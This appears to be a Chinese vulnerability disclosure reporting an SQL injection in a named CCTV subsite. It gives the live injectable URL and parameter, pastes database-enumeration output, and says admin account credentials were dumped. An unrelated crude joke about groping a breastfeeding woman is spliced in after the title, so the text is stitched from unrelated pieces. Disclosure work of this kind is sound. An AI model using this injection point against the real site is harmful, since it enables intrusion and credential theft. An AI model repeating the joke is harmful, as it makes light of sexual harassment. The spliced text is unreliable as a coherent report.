CCTV某分站sql注入漏洞
读书时一直暗恋一个女孩,但没勇气表白,更没胆量碰她。毕业后,她已经结婚了而且有孩子了。一天下午,我看到她抱着娃娃在喂奶,我找了个很好的借口。我走到她面前,一把两手按住她的咪咪,然后跟她娃娃说,喊叔叔,不喊不给吃!~~
问题站点:
http://studytv.cctv.com/
注射链接:
http://studytv.cctv.com/activity/list?KeyWord=1
由于对参数KeyWord没有过滤,造成注射
库:
available databases [5]:
[*] KK_BOSS_DB
[*] master
[*] model
[*] msdb
[*] tempdb
当前库为KK_BOSS_DB
表:
一共306个表,由于盲注,跑的太慢,就不全部贴出来了
随便选了一个dbo.Admin_User表跑了一下
部分管理账号密码
没什么好说的,赶快修复吧
修复方案:
过滤
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;